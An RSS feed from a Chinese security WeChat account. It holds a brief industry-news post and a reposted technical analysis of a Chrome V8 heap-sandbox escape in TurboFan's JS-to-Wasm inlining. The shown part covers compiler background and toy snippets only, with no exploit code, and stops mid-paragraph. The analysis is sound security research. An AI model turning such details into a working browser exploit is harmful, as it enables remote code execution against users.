<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>迪哥讲事</title>
    <link>https://wechat2rss.xlab.app/feed/6fbc842cdb8fd52f341af76f6aaf6cba21a23f7c.xml</link>
    <description>作者主页: https://github.com/richard1230&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (迪哥讲事)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM7epB5Xcptumia2NgfAWaU7AujngWVrSq8n67iczu6oF8xg/0</url>
      <title>迪哥讲事</title>
      <link>https://wechat2rss.xlab.app/feed/6fbc842cdb8fd52f341af76f6aaf6cba21a23f7c.xml</link>
    </image>
    <item>
      <title>突发!某src关闭???</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247499654&amp;idx=1&amp;sn=47f06fc5ea2131c9c0b085ca8a458d97</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>richardo1o1</span> <span>2026-07-23 23:41</span> <span style="display: inline-block;">江苏</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f1e86e30&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F7xtecWUgCRxV5ibaLad8lmxqUoB07WK5SqBn2wXNJ1gyEtn82oRXUPUoBJWE33oImFTYKBgCez6Rqc2r7fCb4C1IExn6YTsovSrFfL7JdKTE%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h2 data-cacheurl="" data-pm-slice="0 0 []" data-remoteid="" style="box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;background: none center center / 63px no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset; text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=4963fa42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7xtecWUgCRypLoQkSDPaGEaIXKZGy8ibYN0w2mtDfHNZ5ibt8CKic1pEzEweMiac1nvRYqsdM1XJVM2Xia1LuRCPkz1DrlDHeNz5TlrTVUKLZqMI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&#34;);"><span style=" box-sizing: border-box;cursor: pointer;font-size: 18px;color: rgb(72, 179, 120);line-height: 2.4em;letter-spacing: 0em;margin: 38px 0px 10px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;overflow: unset;padding: 0px; text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset; "><span leaf="">正文</span></span></h2><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">今天看到一个消息,如图所示:</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100016002" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=f4ba3ff8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7xtecWUgCRyRwvKPfeqkG938KOb09VMwsfRC6oC71X2hXvWr9Sumz2anPYaBO1icxMNMytibqJ4Liao4xePJib5yeBI9SOd90qLz2kEnHIqySbw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">后面看到有个读者也发了一篇文章给我看，大致意思是唱衰这个行业</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">其实我看到这个通告的第一反应是这个厂商要转到众测平台了，后面也从厂商内部人员处确认了这个消息</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100016005" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=eff3fedd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7xtecWUgCRzgfg5Kth7gWSfur6icyxsUI1sRAgDuTqfA1YBFesib6YHykb2y7OuUElnqWlXgqFuY1I9hibt4taichD07oszyu2iaUCgAIxNt0ibTI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e91d4266&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTIzNTM0MA%3D%3D%26mid%3D2247499654%26idx%3D1%26sn%3D47f06fc5ea2131c9c0b085ca8a458d97">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 23 Jul 2026 23:41:00 +0800</pubDate>
    </item>
    <item>
      <title>Chrome V8 沙箱逃逸漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247499641&amp;idx=1&amp;sn=7f30c697fbeccd68201903d9390d8277</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>骨哥说事</span> <span>2026-07-03 12:00</span> <span style="display: inline-block;">江苏</span></p>




  <p>以下文章来源于：骨哥说事</p>
  <strong>骨哥说事</strong>
  <p>一个喜爱鼓捣的技术宅</p>



  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a66b88f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F7xtecWUgCRyvkr6FbspwcMV481fs1KO7NuYSvVQL3zic9DAA1Ol9iaPdLKcgF2wqZzAfQk3j8QuhHib6hBRB0erHgr4XBKprLwIfribOMicPaIQY%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <table><tbody><tr><td data-colwidth="557" width="557" valign="top" style="word-break: break-all;"><h1 data-selectable-paragraph="" style="white-space: normal;outline: 0px;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(255, 0, 0);"><strong><span style="font-size: 15px;"><span leaf="">声明：</span></span></strong></span></span></strong><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;"><span leaf="">文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。</span></span></span></h1></td></tr></tbody></table><h1 style="visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;background-color: rgb(255, 251, 0);visibility: visible;"><strong style="outline: 0px;visibility: visible;"><span leaf="">防走失：</span></strong><strong style="outline: 0px;visibility: visible;"><span style="outline: 0px;color: rgb(0, 82, 255);visibility: visible;"><span leaf=""><a href="https://gugesay.com/" target="_blank">https://gugesay.com/</a></span></span></strong></span></h1><p style="margin-bottom: 0px;"><strong style="color: rgb(217, 33, 66);letter-spacing: 0.544px;text-wrap: wrap;outline: 0px;visibility: visible;"><span leaf="">不想错过任何消息？设置星标</span></strong><strong style="color: rgb(217, 33, 66);letter-spacing: 0.544px;text-wrap: wrap;outline: 0px;visibility: visible;"><span leaf="">↓ ↓ ↓</span></strong></p><div data-tool="markdown2wechat编辑器" data-website="https://aizhuanqian.com" style="color: black;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 10px;margin-bottom: 24px;" data-pm-slice="0 0 []"><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">觉得内容太技术？可以先快速浏览我们的漏洞摘要。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">阅读漏洞摘要 → </span><span leaf=""><a href="https://nebusec.ai/buglist/CVE-2026-6307/" target="_blank">https://nebusec.ai/buglist/CVE-2026-6307/</a></span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left: 3px solid rgba(0, 0, 0, 0.65);border-right: 1px solid rgba(0, 0, 0, 0.65);background: rgb(249, 249, 249);"><p style="padding-top: 8px;padding-bottom: 8px;font-size: 14px;margin: 0px;color: black;line-height: 26px;"><span leaf="">Chrome V8 JavaScript 引擎配备了一个堆沙箱，旨在防止攻击者仅凭 JavaScript 引擎中的漏洞就在沙箱区域外进行写入。然而，Vega 在 JIT 编译器中发现了一个特殊的漏洞，允许攻击者仅凭此漏洞就在沙箱内获得任意读写原语，甚至能够逃离沙箱，向沙箱外写入。本报告将详细介绍该漏洞的技术细节。</span></p></blockquote><h2 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><span leaf="">概要</span></span></h2><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">这个 V8 漏洞单凭自身就能实现以下所有目标：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">以 100% 的成功率获取任意内存读写原语，无需任何内存布局技巧</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">仅凭此漏洞，无需其他漏洞辅助，即可实现 V8 堆沙箱逃逸和远程代码执行</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">影响从 Chrome 106 开始的版本，横跨 4 年时间</span></p></li></ul><h2 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><span leaf="">背景</span></span></h2><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">为了理解这个漏洞，我们首先需要了解 TurboFan、它如何内联 JS-to-Wasm（JavaScript 到 WebAssembly）调用，以及其去优化元数据是如何决定在延迟去优化后应重建何种类型的值的。此外，我们还需要理解 V8 堆沙箱的工作原理，以及为什么这个单一漏洞能让攻击者同时做到两件事：1）在沙箱内获得任意读写原语；2）逃离沙箱，向沙箱外写入。</span></p><h3 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;"><span leaf="">TurboFan</span></h3><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">TurboFan 是 V8 的优化编译器。当一个 JavaScript 函数运行足够多次后，V8 可以使用较低执行层级收集到的反馈来编译该函数的一个专门化版本。这些反馈包括诸如对象的形状、调用点观察到的目标，以及特定操作所使用的值的表示形式等信息。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">V8 最初通过 Ignition 字节码执行一个函数，在 TurboFan 编译它之前，可能会通过其他层级。这些早期的执行过程填充了函数的反馈向量。TurboFan 将字节码和反馈转换为编译器图，应用高级 JavaScript 优化，并最终将图降低到机器操作层面。Turboshaft 是这个过程中使用的低级编译器表示形式，也是此漏洞涉及的值编号行为发生的地方。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">从高层次看，TurboFan 的工作是：用专门的机器代码替换通用的 JavaScript 执行，同时保留返回正确通用执行的方式。它可以内联被调用者，专门化属性访问，并发出检查来守卫它基于反馈所做的假设。如果这些假设中的任何一个在之后被推翻，优化后的执行必须执行</span><strong style="font-weight: bold;color: black;"><span leaf="">去优化</span></strong><span leaf="">。</span></p><h4 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">节点图 (Sea of Nodes)</span></h4><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">TurboFan 将被编译的函数表示为一个图，通常被称为节点图。图不是简单的线性指令列表，操作由其依赖关系连接。一个节点可以依赖于值输入、控制输入和效果输入。这使得 TurboFan 可以在保留副作用和控制流所需顺序的同时，移动和简化操作。在传统的控制流图中，编译器会问：这条指令属于哪个基本块，以及它以什么顺序运行？但在节点图中，编译器会问：这个操作依赖于什么，以及它之后可以合法地放置在何处？这种差异很重要，因为节点图避免过早地固定指令的确切位置。例如：</span></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">function</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">f</span></span><span leaf="">(</span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">x, y, z</span></span><span leaf="">) </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> a = x + y;</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> b = y + z;</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (a &gt; </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">0</span></span><span leaf="">) </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> b * </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">2</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">else</span></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> b * </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">3</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">在控制流图中，你可能会这样表示：</span></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span leaf="">B1:</span><span leaf=""><br/></span><span leaf="">  a = x + y</span><span leaf=""><br/></span><span leaf="">  b = y + z</span><span leaf=""><br/></span><span leaf="">  if a &gt; 0 goto B2 else B3</span><span leaf=""><br/></span><span leaf="">B2:</span><span leaf=""><br/></span><span leaf="">  return b * 2</span><span leaf=""><br/></span><span leaf="">B3:</span><span leaf=""><br/></span><span leaf="">  return b * 3</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">这里，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">b = y + z</span></code><span leaf=""> 已经被放置在块 B1 中。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">而在节点图中，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">b = y + z</span></code><span leaf=""> 只是一个依赖 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">y</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">z</span></code><span leaf=""> 的 Add 节点：</span></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span leaf="">y     z</span><span leaf=""><br/></span><span leaf=""> \   /</span><span leaf=""><br/></span><span leaf="">  Add(b)</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">它不必立即属于某个基本块。之后，编译器可以决定是将其放置在分支之前、某个分支内部、提升它、下沉它、消除它，还是与另一个相同的计算共享它。这是关键优势：更高的优化自由度。节点图尤其适用于：公共子表达式消除、全局值编号、死代码消除、代码移动、边界检查消除。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">最后，它将节点图调度到基本块中，将节点降低为机器指令，分配寄存器，移除诸如 Phi 节点等结构，然后发出线性的汇编/机器代码。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">对于这个漏洞，重要的一点是：调用、检查和去优化元数据都存在于同一个图中。当 TurboFan 内联一个调用时，被调用者的操作会被插入到调用者的图中。如果内联的操作可能去优化，图中还会包含 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameState</span></code><span leaf=""> 节点，用于描述如果优化执行无法继续时，应如何重建执行状态。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameState</span></code><span leaf=""> 节点是元数据，但它们仍然是具有输入和选项的图节点。它们不会像算术或内存操作那样执行，但优化过程仍然可以对它们进行推理。在后文中，这一点很重要，因为两个 JS-to-Wasm 延续 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameState</span></code><span leaf=""> 节点对于图优化器来说可能看起来是等价的，尽管它们描述的是不同的 Wasm 返回类型。</span></p><h4 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">JS-to-Wasm 调用的内联</span></h4><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">与该漏洞相关的一个 TurboFan 优化是 </span><strong style="font-weight: bold;color: black;"><span leaf="">JS-to-Wasm 调用的内联</span></strong><span leaf="">。JavaScript 和 WebAssembly 使用不同的调用约定和值表示形式，因此从 JavaScript 到 Wasm 的调用通常需要通过一个 JS-to-Wasm 包装器。该包装器将 JavaScript 参数转换为 Wasm 值，执行 Wasm 调用，并将 Wasm 结果转换回 JavaScript 值。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">TurboFan 可以将该包装器内联到优化的 JavaScript 调用者中。这避免了单独的包装器调用，并将参数/结果转换代码暴露给优化器。V8 也可能内联足够小的 Wasm 函数体，但本漏洞并不需要完整的 Wasm 函数体内联，内联包装器就足够了。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">在本报告中，JS-to-Wasm 调用是通过 JavaScript 属性访问器到达的。经过充分预热后，TurboFan 可以专门化该属性访问，检查接收者的形状，直接调用已知的访问器目标，并为该目标内联 JS-to-Wasm 包装器。如果同一个 JavaScript 函数看到两个接收者形状，优化后的图可以在一个已编译的函数中包含两个这样的访问器路径。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">每个内联的包装器都是基于其 Wasm 函数的规范签名构建的。规范化允许 V8 用共享的签名对象来表示结构上等价的函数类型。签名包含参数和返回类型；因此，它比仅仅记录延续内置函数接收多少个值更为精确。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">本漏洞涉及两种返回类型。Wasm 的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">i64</span></code><span leaf=""> 在 JavaScript 中暴露为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">BigInt</span></code><span leaf="">，而 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">externref</span></code><span leaf=""> 是一个标记的 JavaScript 引用。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">对于这个签名的 Wasm 函数：</span></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span leaf="">(func (result i64))</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">机器返回值是一个原始的 64 位整数。包装器必须将该整数转换为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">BigInt</span></code><span leaf=""> 才能返回给 JavaScript。对于这个函数：</span></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span leaf="">(func (result externref))</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">返回寄存器中的值已经是一个标记的引用，必须按此处理。机器级别的返回位置可能相同，但位表示的含义由 Wasm 签名决定。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">重要的细节是：包装器的签名决定了 Wasm 返回的位如何转换回 JavaScript。</span></p><h3 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;"><span leaf="">去优化</span></h3><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">去优化将一个</span><strong style="font-weight: bold;color: black;"><span leaf="">活动的优化栈帧</span></strong><span leaf="">替换为一个或多个可以在较低层级继续的栈帧。为此，V8 必须恢复非优化函数所期望的状态：其参数、局部变量、上下文、当前字节码位置，以及任何内联的栈帧。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span 